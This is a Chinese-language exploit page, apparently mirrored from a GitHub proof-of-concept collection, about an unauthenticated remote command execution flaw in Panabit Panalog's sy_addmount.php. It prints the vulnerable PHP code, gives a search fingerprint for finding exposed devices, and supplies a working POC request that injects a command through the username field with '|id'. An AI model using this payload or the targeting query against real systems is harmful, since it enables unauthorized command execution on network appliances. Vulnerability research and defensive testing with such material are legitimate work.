mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 20:06:03 +00:00
56 lines
1000 B
Markdown
56 lines
1000 B
Markdown
|
# Panabit Panalog sy_addmount.php 远程命令执行漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Panabit Panalog sy_addmount.php过滤不足，导致远程命令执行漏洞
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Panabit Panalog
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
body="Maintain/cloud_index.php"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
存在漏洞的代码为 account/sy_addmount.php
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<?php
|
|||
|
|
|
|||
|
|
include(dirname(__FILE__)."/../common.php");
|
|||
|
|
|
|||
|
|
$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
|
|||
|
|
if (empty($username)) {
|
|||
|
|
echo '{"success":"no", "out":"NO_USER"}';
|
|||
|
|
exit;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
$username = addslashes($username);
|
|||
|
|
|
|||
|
|
$rows = array();
|
|||
|
|
|
|||
|
|
$cmd = PANALOGEYE." behavior add account=$username";
|
|||
|
|
exec($cmd, $out, $ret);
|
|||
|
|
echo $out[0];
|
|||
|
|
exit;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
其中没有对身份进行鉴权，且 username 可控，构造POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /account/sy_addmount.php
|
|||
|
|
|
|||
|
|
username=|id
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|